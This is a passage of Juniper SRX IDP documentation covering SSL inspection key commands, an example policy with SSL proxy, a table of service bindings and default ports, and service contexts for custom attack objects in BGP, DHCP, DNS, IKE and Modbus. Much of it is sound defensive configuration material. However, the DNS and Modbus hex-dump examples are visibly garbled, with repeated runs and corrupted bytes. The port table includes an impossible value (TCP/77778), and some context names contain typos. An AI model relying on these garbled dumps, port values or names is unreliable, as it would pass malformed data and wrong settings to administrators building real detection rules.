With the Intrusion Detection and Prevention (IDP) Secure Sockets Layer (SSL) decryption feature, SRX Series Firewalls load configured RSA private keys to memory and use them to establish SSL session keys to decrypt data. IDP is required to decrypt the RSA keys and to check the integrity before performing normal encryption or decryption operations using the keys.

The primary purpose of this feature is to ensure that RSA private keys used by IDP are not stored as plain text or in an easily understandable or usable format. The keys are decrypted to perform normal encryption or decryption operations. This feature also involves error detection checks during copying of the keys from one memory location to another, as well as overwriting of intermediate storage with nonzero patterns when the keys are no longer needed.

The set security idp sensor-configuration ssl-inspection key-protection CLI configuration command is used to enable this feature.

IDP SSL Server Key Management and Policy Configuration

The device can support up to 1000 server private keys. Each key can have up to 100 servers that use it. This capacity is the same regardless of the number of SPUs available on the device because essentially each SPU needs to be able to access all the keys.

Multiple servers can share the same private key; however, one server can have only one private key. SSL decryption is disabled by default. Both plain and encrypted keys are supported.

Junos OS does not encrypt SSL keys file.

You can set the value of SSL session ID cache timeout parameter by using the **set security idp sensor-configuration ssl-inspection session-id-cache-timeout** command. The default value of the cache timeout parameter is 600 seconds.

Configure IDP SSL Inspection (CLI Procedure)

SSL decoder is enabled by default. If you need to manually enable it via CLI, use the following CLI command.

```
set security idp sensor-configuration detector protocol-name SSL tunable-name sc_ssl_flags tuneable-value 1
```

To configure an IDP SSL inspection, use the following CLI procedure:

```
[edit security]
  idp {
    sensor-configuration {
        ssl-inspection {
            sessions <number>;
        }
   }
```

The sensor now inspects traffic for which it has a key/server pair.

Maximum supported sessions per SPU: default value is 10,000 and range is 1 through 100,000. The session limit is per SPU, and it is the same regardless of the number of SPUs on the device.

Add IDP SSL Keys and Associated Servers

When you are installing a key, you can password protect the key and also associate it to a server.

To install a Privacy-Enhanced Mail (PEM) key, use the following CLI command:

request security idp ssl-inspection key add key-name file file-path server server-ip password password-string

In a two-node SRX Series cluster, the key has to be manually copied over to both Node 0 and Node 1 at the same location for the request command to be successful.

You can also associate the key with a server at a later time by using the add server CLI command. A server can be associated with only one key. To associate a server to the installed key, use the following CLI command:

request security idp ssl-inspection key add key-name server server-ip

The maximum key name length is 32 bytes, including the ending "\0".

Delete IDP SSL Keys and Associated Servers

• To delete all keys and servers, use the following CLI command:

user@host> request security idp ssl-inspection key delete

All installed keys are deleted along with any associated servers.

• To delete a specific key and all associated servers with that key, use the following CLI command:

user@host> request security idp ssl-inspection key delete <key-name>

Deletes the specified key and all servers associated with that key.

• To delete a single server, use the following CLI command:

user@host> request security idp ssl-inspection key delete <key-name> server <server-ip>

Deletes the specified server that is bound to the specified key.

Display IDP SSL Keys and Associated Servers

To display all installed server keys and associated server, use the following CLI command:

```
user@host> show security idp ssl-inspection key
```

Displays all server keys and IP addresses bound to those keys. The following example shows CLI output when the show security idp ssl-inspection key command is used:

```
Total SSL keys : 2

SSL server key and ip address :

Key : key1, server : 10.1.1.1

Key : key2, server : 10.2.2.2

Key : key2, server : 10.2.2.3
```

• To display IP addresses bound to a specific key, use the following CLI command:

```
user@host> show security idp ssl-inspection key <key-name>
```

The following is an example of the CLI output received when the show security idp ssl-inspection key <key-name> command is used:

```
Key : key1, server : 10.1.1.1
```

Example: Configure IDP When SSL Proxy Is Enabled

IN THIS SECTION

- Requirements | 213
- Overview | 213
- Configuration | 213
- Verification | 214

This example describes how IDP supports the application identification (ApplD) functionality when SSL proxy is enabled.

Requirements

Before you begin:

- Create zones. See Example: Creating Security Zones.
- Configure an address book with addresses for the policy. See *Example: Configuring Address Books* and Address Sets.
- Create an application (or application set) that indicates that the policy applies to traffic of that type. See *Example: Configuring Security Policy Applications and Application Sets.*
- Create an SSL proxy profile that enables SSL proxy by means of a policy. See Configuring SSL Forward Proxy.
- Configure an IDP policy as an active policy.

Overview

This example shows how to configure IDP in a policy rule when SSL proxy is enabled.

Configuration

IN THIS SECTION

- CLI Quick Configuration | 213
- Procedure | 214

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security policies from-zone Z_1 to-zone Z_2 policy policy1 match source-address any set security policies from-zone Z_1 to-zone Z_2 policy policy1 match destination-address any set security policies from-zone Z_1 to-zone Z_2 policy policy1 match application junos-https set security policies from-zone Z_1 to-zone Z_2 policy policy1 then permit application-services ssl-proxy profile-name ssl-profile-1
```

set security policies from-zone Z_1 to-zone Z_2 policy policy1 then permit application-services idp

Procedure

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

In this example, you configure a security policy that uses IDP as the application service.

1. Configure a policy to process the traffic with SSL proxy profile ssl-profile-1.

```
[edit security policies from-zone Z_1 to-zone Z_2 policy policy1 user@host# set match source-address any user@host# set match destination-address any user@host# set match application junos-https user@host# set then permit application-services ssl-proxy profile-name ssl-profile-1
```

2. Define IDP as the application service.

```
[edit security policies from-zone Z_1 to-zone Z_2 policy policy1 user@host# set then permit application-services idp
```

Results

From configuration mode, confirm your configuration by entering the show security policies command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

Verification

Verify that the configuration is working properly. Verification in IDP is similar to verification in Application Firewall. See Application Firewall.

SEE ALSO

SSL Proxy Overview

Understanding Security Policy Elements

Security Policies Configuration Overview

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
15.1X49-D100	Starting from 15.1X49, the IDP SSL Inspection feature is deprecated. Juniper recommends use of SSL Proxy feature.

RELATED DOCUMENTATION

Understand IDP Policy | 43

IDP Policy Rules and IDP Rule Bases | 65



Custom Attacks Objects Service Contexts

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- Network Protocol Contexts | 223
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IDP Custom Attack Objects Service Contexts

SUMMARY

You can create and manage your own custom attack objects in the IDP system. These objects are tailored to meet your specific security needs. They can be used to detect and prevent unique or emerging threats that might not be covered by default attack objects provided by the vendor.

IDP custom attack objects service contexts allow users to create and manage their own custom attack objects in the IDP system. These objects are tailored to meet specific security needs and can be used to detect and prevent unique or emerging threats that may not be covered by default attack objects provided by the vendor.

Service contexts are the specific conditions or criteria under which the custom attack objects are triggered. These contexts might include various network parameters, traffic types, application behaviors, or any other relevant criteria that can be used to detect anomalous or malicious activities.

The custom objects provide the flexibility to address specific threats and compliance requirements, offering a proactive defense strategy against emerging and unique security challenges

The service or application binding field specifies the service that the attack uses to enter your network.

Specify either the service or the protocol binding in a custom attack. In case, you specify both, the service binding takes precedence.

- any—Specify any if you are unsure of the correct service and want to match the signature in all services. Because some attacks use multiple services to attack your network, you might want to select the Any service binding to detect the attack regardless of which service the attack chooses for a connection.
- service—Most attacks use a specific service to attack your network. You can select the specific service used to perpetrate the attack as the service binding.

Table 35 on page 218 displays supported services and default ports associated with the services.

Table 35: Supported Services for Service Bindings

Service	Description	Default Port
aim	AOL Instant Messenger. America Online (ISP) provides Internet, chat, and instant messaging applications.	TCP/5190
bgp	Border Gateway Protocol	TCP/179
chargen	Character Generator Protocol is a UDP- or TCP-based debugging and measurement tool.	TCP/19, UDP/19
dhcp	DHCP allocates network addresses and delivers configuration parameters from server to hosts.	UDP/67, UDP/68
discard	Discard protocol is an Application Layer protocol that describes a process for discarding TCP or UDP data sent to port 9.	TCP/9, UDP/9
dns	DNS translates domain names into IP addresses.	TCP/53, UDP/53
echo	Echo	TCP/7, UDP/7
finger	Finger is a UNIX program that provides information about users.	TCP/79, UDP/79
ftp	FTP allows the sending and receiving of files between machines.	TCP/21, UDP/21
gGnutella	Gnutella is a public domain file sharing protocol that operates over a distributed network.	TCP/6346
gopher	Gopher organizes and displays Internet servers' contents as a hierarchically structured list of files.	TCP/70
h225ras	H.225.0/RAS (Registration, Admission, and Status)	UDP/1718, UDP/1719

Table 35: Supported Services for Service Bindings (Continued)

Service	Description	Default Port
http	HyperText Transfer Protocol is the underlying protocol used by the World Wide Web (WWW).	TCP/80, TCP/81, TCP/88, TCP/3128, TCP/7001 (Weblogic), TCP/8000, TCP/8001, TCP/8100 (JRun), TCP/ 8200 (JRun), TCP/ 8080, TCP/8888 (Oracle-9i), TCP/9080 (Websphere), UDP/80
icmp	Internet Control Message Protocol	
ident	Identification protocol is a TCP/IP Application Layer protocol used for TCP client authentication.	TCP/113
ike	Internet Key Exchange protocol (IKE) is a protocol to obtain authenticated keying material for use with ISAKMP.	UDP/500
imap	Internet Message Access Protocol is used for retrieving messages.	TCP/143, UDP/143
irc	Internet Relay Chat (IRC) allows people connected to the Internet to join live discussions.	TCP/6667
ldap	Lightweight Directory Access Protocol is a set of protocols used to access information directories.	TCP/389
lpr	Line Printer Daemon protocol is a TCP-based protocol used for printing applications.	TCP/515
msn	Microsoft Network Messenger is a utility that allows you to send instant messages and talk online.	TCP/1863

Table 35: Supported Services for Service Bindings (Continued)

Service	Description	Default Port
msrpc	Microsoft Remote Procedure Call	TCP/135, UDP/135
mssql	Microsoft SQL is a proprietary database server tool that allows for the creation, access, modification, and protection of data.	TCP/1433, TCP/3306
mysql	MySQL is a database management system available for both Linux and Windows.	TCP/3306
nbds	NetBIOS Datagram Service application, published by IBM, provides connectionless (datagram) applications to PCs connected with a broadcast medium to locate resources, initiate sessions, and terminate sessions. It is unreliable and the packets are not sequenced.	UDP/137 (NBName), UDP/138 (NBDS)
nfs	Network File System uses UDP to allow network users to access shared files stored on computers of different types. SUN RPC is a building block of NFS.	TCP/2049, UDP/2049
nntp	Network News Transport Protocol is a protocol used to post, distribute, and retrieve USENET messages.	TCP/119
ntp	Network Time Protocol provides a way for computers to synchronize to a time reference.	UDP/123
pop3	Post Office Protocol is used for retrieving e-mail.	UDP/110, TCP/110
prtmapper	Service that runs on nodes on the Internet to map an ONC RPC program number to the network address of the server that listens for the program number.	TCP/111, UDP/111
radius	Remote Authentication Dial-In User Service application is a server program used for authentication and accounting purposes.	UDP/1812, UDP/1813

Table 35: Supported Services for Service Bindings (Continued)

Service	Description	Default Port
rexec	Rexec	TCP/512
rlogin	RLOGIN starts a terminal session on a remote host.	TCP/513
rsh	RSH executes a shell command on a remote host.	TCP/514
rtsp	Real-Time Streaming Protocol (RTSP) is for streaming media applications	TCP/554
sip	Session Initiation Protocol (SIP) is an Application Layer control protocol for creating, modifying, and terminating sessions.	TCP/5060, UDP/5060
smb	Server Message Block (SMB) over IP is a protocol that allows you to read and write files to a server on a network.	TCP/139, TCP/445
smtp	Simple Mail Transfer Protocol is used to send messages between servers.	TCP/25, UDP/25
snmp	Simple Network Management Protocol is a set of protocols for managing complex networks.	TCP/161, UDP/161
snmptrap	SNMP trap	TCP/162, UDP/162
sqlmon	SQL monitor (Microsoft)	UDP/1434
ssh	SSH is a program to log into another computer over a network through strong authentication and secure communications on a channel that is not secure.	TCP/22, UDP/22
ssl	Secure Sockets Layer	TCP/443, TCP/80

Table 35: Supported Services for Service Bindings (Continued)

Service	Description	Default Port
syslog	Syslog is a UNIX program that sends messages to the system logger.	UDP/514
tlnet	Telnet is a UNIX program that provides a standard method of interfacing terminal routers and terminal-oriented processes to each other.	TCP/23, UDP/23
tns	Transparent Network Substrate	TCP/1521, TCP/1522, TCP/1523, TCP/1524, TCP/1525, TCP/1526, TCP/1527, TCP/1528, TCP/1529, TCP/1530, TCP/2481, TCP/1810, TCP/77778
tftp	Trivial File Transfer Protocol	UDP/69
vnc	Virtual Network Computing facilitates viewing and interacting with another computer or mobile router connected to the Internet.	TCP/5800, TCP/5900
whois	Network Directory Application Protocol is a way to look up domain names.	TCP/43
ymsg	Yahoo! Messenger is a utility that allows you to check when others are online, send instant messages, and talk online.	TCP/5050

Network Protocol Contexts

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for network protocols as match conditions in IDP policy rules.

Service Contexts: BGP

The table displays the security context details for BGP:

Table 36: Service Contexts: BGP

Context and Direction	Description	Display Name
bgp-keepalive-msg (ANY)	Matches the BGP keep alive message.	BGP KeepAlive Message
bgp-message (ANY)	Matches any BGP message.	BGP Message

Table 36: Service Contexts: BGP (Continued)

Context and Direction	Description	Display Name
bgp-notification-msg (ANY)	Matches the BGP notification message.	BGP Notification Message
bgp-open-msg (ANY)	Matches the BFP open message.	BGP Open Message
bgp-open-no-parm (ANY)	Matches the BFP open message without optional parameters.	BGP Open Message without optional parameters
bgp-open-parm (ANY)	Matches the optional parameters in the BGP open message.	BGP Optional parameters in Open Message
bgp-route-refresh-msg (ANY)	Matches the BGP Route Refresh Message	BGP Route Refresh Message
bgp-update-attr-aggregator (ANY)	Matches the Aggregator path attribute data in the BGP update message.	BGP Aggregator Path Attribute in Update Message
bgp-update-attr-as-path (ANY)	Matches the AS path attribute data in the BGP update message.	BGP AS-Path Path Attribute in Update Message
bgp-update-attr-atomic-aggr (ANY)	Matches the atomic-aggregator path attribute data in the BGP update message.	BGP Atomic-Aggregator Path Attribute in Update Message
bgp-update-attr-cluster-list (ANY)	Matches the Cluster-List path attribute data in the BGP update message.	BGP Cluster-List Path Attribute in Update Message
bgp-update-attr-communities (ANY)	Matches the Communities path attribute data in the BGP update message.	BGP Communities Path Attribute in Update Message

Table 36: Service Contexts: BGP (Continued)

Context and Direction	Description	Display Name
bgp-update-attr-local-pref (ANY)	Matches the Local-Pref path attribute data in BGP update message.	BGP Local-Pref Path Attribute in Update Message
bgp-update-attr-med (ANY)	Matches the Multi-Exit-Disc path attribute data in the BGP update message.	BGP Multi-Exit-Disc Path Attribute in Update Message
bgp-update-attr-next-hop (ANY)	Matches the Next-Hop path attribute data in the BGP update message.	BGP Next-Hop Path Attribute in Update Message
bgp-update-attr-nonstd (ANY)	Matches any Non-Standard path attribute data in the BGP update message.	BGP Non-standard Path Attribute in Update Message
bgp-update-attr-rigin (ANY)	Matches the Origin path attribute date in the BGP update message.	BGP Origin Path Attribute in Update Message
bgp-updet-attr-originator (ANY)	Matches the Originator path attribute data in BFP update message.	BGP Originator Path Attribute in Update Message
bgp-update-msg (ANY)	Matches the BGP update message.	BGP Update Message
bgp-update-nlri_infor (ANY)	Matches the Network Layer Reachability Information in the BGP update message.	BGP Network Layer Reachability Information in Update Message

Table 36: Service Contexts: BGP (Continued)

Context and Direction	Description	Display Name
bgp-update-norm-unfeasible-rte (ANY)	Matches the unfeasible routes data in BFP update message. This context shows each route expanded to 4 bytes, prefixed by a delimiter.	BGP Unfeasible routes in Update Message (Normalized)
bgp-update-total-path-attribute (ANY)	Matches the Total Path Attribute data in the BGP update message.	BGP Total Path Attributes in Update Message
bgp-update-unfeasible-rts (ANY)	Matches the unfeasible routes data in the BGP update message.	BGP Unfeasible routes in Update Message

Service Contexts: DHCP

The table displays the security context details for DHCP:

Table 37: Service Contexts: DHCP

Context and Direction	Description Example of Contexts
dhcp-file-name (ANY)	Matches the filename in a DHCP/bootp message.

Table 37: Service Contexts: DHCP (Continued)

Context and Direction	Description Example of Contexts
dhcp-option (ANY)	Example of Contexts Matches each option in a DHCP/bootp message. Each option context contains the type and length of the option. Example of field in DHCP transaction: Dynamic Host Configuration Protocol Message type: Unknown (144) Hardware type: Unknown (0x90) Hardware address length: 144 Hops: 144 Transaction ID: 0x90909090 Seconds elapsed: 37008 Bootp flags: 0x9090, Broadcast flag (Broadcast) Client IP address: 144.144.144.144 Your (client) IP address: 144.144.144.144 Next server IP address: 144.144.144.144 Relay agent IP address: 144.144.144 Client address not given Server host name [truncated]:
	\\357\277\\275\\357\\277\\275\\357\\277\\27
	Context: dhcp-option pattern: "\x 909090 \x"

Table 37: Service Contexts: DHCP (Continued)

Context and Direction	Description Example of Contexts
dhcp-server-name (ANY)	Matches the server name in a DHCP/bootp message.

Service Contexts: DNS

The table displays the security context details for DNS:

Table 38: Service Contexts: DNS

Context and Direction	Description Example of Contexts
dns-cname (ANY)	Matches the CNAME in a DNS request or response. Example of field in DNS transaction: 09 70 00 35 Cb 2a 00 f4 ft 80 0fb1 81 80 00 01 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 0

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-flags	Matches flags of a DNS request or response Example of field in DNS transaction: 06 83 d9 21 00 35 00 28 25 5f 0f b1 01 00 00 01 1.5.(% 00 00 00 00 00 00 03 77 77 77 06 67 6f 6f 67 6c www.googl 65 03 63 6f 6d 00 00 01 00 01 e.com NOTE: 0f b1 is the start of DNS payload Example of context usage: Context: dns-flags pattern: "\x 01 \x"
dns-rr-a6-rdata (ANY)	Match the rdata of an A6 RR in a DNS request response.
dns-rr-afsdb-rdata (ANY)	Matches the rdata of an AFSDB RR in a DNS request or response.
dns-rr-apl-rdata (ANY)	Matches the rdata of an APL RR in a DNS request or response.
dns-rr-atma-rdata (ANY)	Matches the rdata of an ATMA RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-rr-cname-rdata (ANY)	Matches the rdata of a CNAME RR in a DNS request or response. Example of field in DNS transaction: 09 70 00 35 Cb 2a 00 f4 fl 80 0f b1 81 80 00 01 00 04 00 04 00 04 03 77 77 77 06 67 6f 6f 67 6c 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 e0 71 00 08 03 77 77 77 01 6c C0 10 c0 2c 00 01 00 01 00 00 01 2c 00 04 42 66 07 68 c0 2c 00 01 00 01 00 00 01 2c 00 04 42 66 07 63 C0 2c 00 01 00 01 00 00 01 2c 00 04 42 66 07 63 C0 10 00 02 00 01 00 01 46 71 00 06 03 6e 73 32 c0 10 C0 10 00 02 00 01 00 01 46 71 00 06 03 6e 73 33 C0 10 c0 10 00 02 00 01 00 01 46 71 00 06 03 6e 73 34 c0 10 c0 10 00 02 00 01 00 01 46 71 00 06 03 6e 73 31 c0 10 c0 a6 00 0100 0100 0146 71 00 04 d8 ef 20 0a c0 70 00 0100 0100 0146 71 00 04 d8 ef 22 0a c0 82 00 0100 0100 0146 71 00 04 d8 ef 26 0a NOTE: 0f b1 is the start of DNS payload Example of context usage: Context: dns-rr-cname-rdata Pattern: "www"
dns-rr-dnskey-rdata (ANY)	Matches the rdata of DNSKEY RR in a DNS request or response.
dns-rr-ds-rdata (ANY)	Matches the rdata of a DN RR in a DNS request or response.
dns-rr-eid-rdata (ANY)	Matches the rdata of an EID RR in a DNS request or response.
dns-rr-hinfo-rdata (ANY)	Matches the rdata of an HINFO RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-rr-key-rdata (ANY)	Matches the rdata of a KEY RR in a DNS request or response.
dns-rr-kx-rdata (ANY)	Matches the rdata of a KX RR in a DNS request or response.
dns-rr-mb-rdata (ANY)	Matches the rdata of an MB RR in a DNS request or response.
dns-rr-md-rdata (ANY)	Matches the rdata of an MD RR in a DNS request or response.
dns-rr-mf-rdata (ANY)	Matches the rdata of an MF RR in a DNS request or response.
dns-rr-mg-rdata (ANY)	Matches the rdata of an MG RR in a DNS request or response.
dns-rr-minfo-rdata (ANY)	Matches the rdata of an MINFO RR in a DNS request or response.
dns-rr-mr-rdata (ANY)	Matches the rdata of an MR RR in a DNS request or response.
dns-rr-mx-rdata (ANY)	Matches the rdata of an MX RR in a DNS request or response.
dns-rr-naptr-rdata (ANY)	Matches the rdata of a NAPTR RR in a DNS request or response.
dns-rr-nimloc-rdata (ANY)	Matches the rdata of an NIMLOC RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-rr-nsap-rdata (ANY)	Matches the rdata of an NSAP RR in a DNS request or response.
dns-rr-ns-rdata (ANY)	Matches the rdata of an NS RR in a DNS request or response. Example of field in DNS transaction: 09 70 00 35 Cb 2a 00 f4 ft 80 Of bl 81 80 00 01. p.5.* 00 04 00 04 00 04 03 77 77 77 70 66 76 f6 f6 76 cc www.googl 65 03 63 66 60 00 00 10 00 10 CO Oc 00 05 00 01 e.com 00 00 eO 71 00 08 03 77 77 77 70 16 c CO 10 c0 2cqwww.L., 00 01 00 01 00 00 01 2c 00 04 42 66 07 68 c0 2cBfh., 00 01 00 01 00 00 01 2c 00 04 42 66 07 63 C0 10Bfc 00 01 00 01 00 00 12 c0 00 44 26 60 76 3 C0 10Bfc 00 02 00 0100 0146 71 00 06 03 6c 73 32 c0 10 Fqns2 c0 10 00 02 00 0100 01 46 71 00 06 03 6c Fqns 73 34 c0 10 c0 10 00 02 00 01 00 0146 71 00 06 03 6c Fqn 73 34 c0 10 c0 10 00 02 00 0100 0146 71 00 06 s4 Fq 03 6c 73 31 c0 10 c0 a6 00 0100 0146 71 00 146 71 00 06 s4 Fq 03 6c 73 31 c0 10 c0 a6 00 0100 0146 71 00 146 71 00 06 s4 Fq 00 04 d8 ef 20 0a c0 70 00 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 82 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 82 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a c0 82 00 0100 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 82 00 0100 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq 00 04 d8 ef 20 0a co 94 00 0100 0100 0146 71\$ Fq
dns-rr-nsapptr-rdata (ANY)	Matches the rdata of an NSAPPTR RR in a DNS request or response.
dns-rr-nsec-rdata (ANY)	Matches the rdata of an NSEC RR in a DNS request or response.
dns-rr-null-rdata (ANY)	Matches the rdata of a NULL RR in a DNS request or response.
dns-rr-nxt-rdata (ANY)	Matches the rdata of a NXT RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-rr-ptr-rdata (ANY)	Matches the rdata of a PTR RR in a DNS request or response.
dns-rr-px-rdata (ANY)	Matches the rdata of a PX RR in a DNS request or response.
dns-rr-rp-rdata (ANY)	Matches the rdata of an RP RR in a DNS request or response.
dns-rr-rrsig-rdata (ANY)	Matches the rdata of an RRSIG RR in a DNS request or response.
dns-rr-sig-rdata (ANY)	Matches the rdata of an SIG RR in a DNS request or response
dns-rr-soa-rdata (ANY)	Matches the rdata of an SOA RR in a DNS request or response. Example of field in DNS transaction: 09 70 00 35 d2 16 00 6c 85 c7 0f b2 81 80 00 01_p.5. J 00 01 00 01 00 00 03 77 77 77 06 67 6f 6f 6f 67 6c www.q0ogl 65 03 63 6f 6d 00 00 le 00 01 c0 0c 00 05 00 01_e.com 00 00 e0 6c 00 08 03 77 77 77 016c c0 10 c0 30 www.L.0 00 06 00 01 00 00 03 c0 02 4 01 66 c0 30 09 64 <_s.5.f.0.d 6e 73 2d 61 64 6d 69 6e c0 10 00 13 c4 b9 00 00 ns-admin 03 84 00 00 38 40 00 07 08 00 00 03 c0 <_s. NOTE: 0f b2 is the start of DNS and Type of RR is 00 06(SOA) and NS RDATA is highlighted in yellow Example of context usage: Context: dns-rr-soa-rdata Pattern: "admin"
dns-rr-sshfp-data (ANY)	Matches the rdata of an SSHFP RR in a DNS request or response.
dns-rr-tsip-rdata (ANY)	Matches the rdata of a TSIP RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-rr-txt-rdata (ANY)	Matches the rdata of a TXT RR in a DNS request or response.
dns-rr-type-rdata (ANY)	Matches the entire resource record in a DNS request or response, including the type and class. Example of field in DNS transaction: 00 12 3f 63 16 0d 00 05 85 a5 27 f0 08 00 45 00 2C \.E. 01 08 2b 3e 40 00 3e 11 ed fa 0a 9d 04 0a 0a 96 +8gt;@.8gt; 09 70 00 35 Cb 2a 00 f4 fi 80 0f bl 81 80 00 fl p. 5.* 00 04 00 04 00 04 03 77 77 77 06 67 6f 6f 6f 6c www.googl 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 e.com 00 00 e0 71 00 08 03 77 77 77 01 6c 01 0 c0 2cqwww.L., 00 01 00 01 00 01 00 12 c0 00 44 26 60 76 8c 02 cg.Bf.h., 00 01 00 01 00 01 00 01 2c 00 04 42 66 07 63 c0 10Bf.c. 00 01 00 01 00 01 00 01 2c 00 04 42 66 07 63 c0 10Bf.c. 00 01 00 01 00 01 00 00 01 2c 00 04 42 66 07 63 c0 10Bf.c. 00 01 00 01 04 04 71 00 06 03 6e 73 32 c0 10Bf.c. 01 00 02 00 01 00 01 46 71 00 06 03 6e 73 33 Fqns3 c0 10 c0 10 00 02 00 01 00 01 46 71 00 06 03 6e Fqn 73 34 c0 10 c0 10 00 02 00 01 00 01 46 71 00 06 45 Fq 18 Fq. 00 04 d8 gf 20 0a c0 70 00 0100 0100 0146 71s Fq 00 04 d8 gf 20 0a c0 70 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 25 0a c0 82 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0146 71s Fq 00 04 d8 gf 24 0a c0 94 00 0100 0100 0100 0100 0100 0100 01
dns-rr-wks-rdata (ANY)	Matches the rdata of a WKS RR in a DNS request or response.

Table 38: Service Contexts: DNS (Continued)

Context and Direction	Description Example of Contexts
dns-type-name (ANY)	Matches any name resource record in a DNS request or response. The first 2 bytes of the context contain the RFC-1035 type values. Example of field in DNS transaction: 00 00 5e 00 01 0f 00 12 3f 63 16 0d 08 00 45 00 00 3c f8 5b 00 00 40 11 5d 30 0a 96 09 70 0a 9d 06 83 d9 21 00 35 00 28 25 5f 0f bl 01 00 00 01 00 00 00 00 00 00 3 77 77 77 06 67 6f §f 67 6c 65 03 63 6f 6d 00 00 00 00 00 01 NOTE: Type is 00 01 Example of context usage: Context: dns-type-name Pattern: "www"
dns-update-header	Matches the header of a DNS UPDATE request or response.

Service Contexts: IKE

The table displays the security context details for IKE:

Table 39: Service Contexts: IKE

Context and Direction	Description Example of Contexts
ike-payload (ANY)	Matches the payload in an IKE transaction Internet Security Association and Key Management Protocol Initiator SPI: 1717171717171717 Responder SPI: 000000000000000 Next payload: Notification (11) Version: 1.0 Exchange type: Informational (5) Flags: 0x00 Message ID: 0x00000000 Length: 40 Payload: Notification (11)
	Example of context usage: Context: ike-payload pattern: "\x0b000c0000000101006002\x"

Service Contexts: Modbus

The table displays the security context details for Modbus:

Table 40: Service Contexts: Modbus

Context and Direction	Description Example of Contexts
modbus-except- resp (STC)	Matches a Modbus Exception Response.
	Example of field in MODBUS transaction:
	Transmission Control Protocol Sre Port: 502. Dst Port: 2578. Seq: 1894886683. Ack: 1637347727. Len: 9 Modbus/TCP Transaction Identifier: 0 Protocol Identifier: 0 Length: 3 Unit
	Identifier: 10
	Functions: Diagnostics. Exception: Gateway target device failed to respond .000 1000 = Function Code: Diagnostics (8)
	Exception Code: Gateway target device failed to respond (11)
	00 20 78 00 62 Od 00 02 b3 ce 70 51 08 00 45 00 . x.b pQ.E.
	00 31ffe5 40 00 80 06 6 a5 0a 00 00 03 0a 00 1.0
	00 39 01 f6 0a 12 70 fl ad lb 61 97 fl 8f50 18 .9paP.
	ff£3 08 ed 00 00 00 00 00 00 00 03 0a 88 Ob
	Example of context usage:
	Context: modbus-except-response pattern: "\x0a88\x"

Table 40: Service Contexts: Modbus (Continued)

Context and Direction	Description Example of Contexts
modbus-request (CTS)	Example of field in MODBUS transaction: Modbus/TCP Transaction Identifier: 0 Protocol Identifier: 0 Length: 6 Unit Identifier: 10 Modbus .0001000 = Function Code: Diagnostics (8) Diagnostic Code: Force Listen Only Mode (4) Data: 0000 00 02 b3 ce 70 51 00 20 78 00 62 0d 08 00 45 00 00 34 85 83 40 00 80 06 61 05 0a 00 00 39 0a 00 .4. 00 03 0a 12 01 f6 61 97 fl 83 70 fl ad lb 50 18 fa fo 19 52 00 00 00 00 00 00 00 00 00 04R. 00 00 Example of context usage: Context: modbus-request pattern: "\x 060a x"

Table 40: Service Contexts: Modbus (Continued)

Context and Direction	Description Example of Contexts
modbus-response (STC)	Matches a Modbus Response. Example of field in MODBUS transaction: Transmission Control Protocol. Src Port: 502. Port: 2578. Seq: 1894886719. Ack: 1637347775.Len: 12 Modbus/TCP Transaction Identifier: 0 Protocol Identifier: 0 Length: 6 Unit Identifier: 10
